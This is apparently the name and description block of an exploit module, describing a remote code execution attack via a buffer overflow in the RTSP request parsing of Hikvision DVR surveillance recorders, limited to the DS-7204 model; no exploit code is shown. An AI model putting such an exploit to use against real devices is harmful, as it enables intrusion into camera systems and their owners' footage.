'Name' => 'Hikvision DVR RTSP Request Remote Code Execution',
'Description' => %q{
This module exploits a buffer overflow in the RTSP request parsing
code of Hikvision DVR appliances. The Hikvision DVR devices record
video feeds of surveillance cameras and offer remote administration
and playback of recorded footage.
The vulnerability is present in several models / firmware versions
but due to the available test device this module only supports
the DS-7204 model.
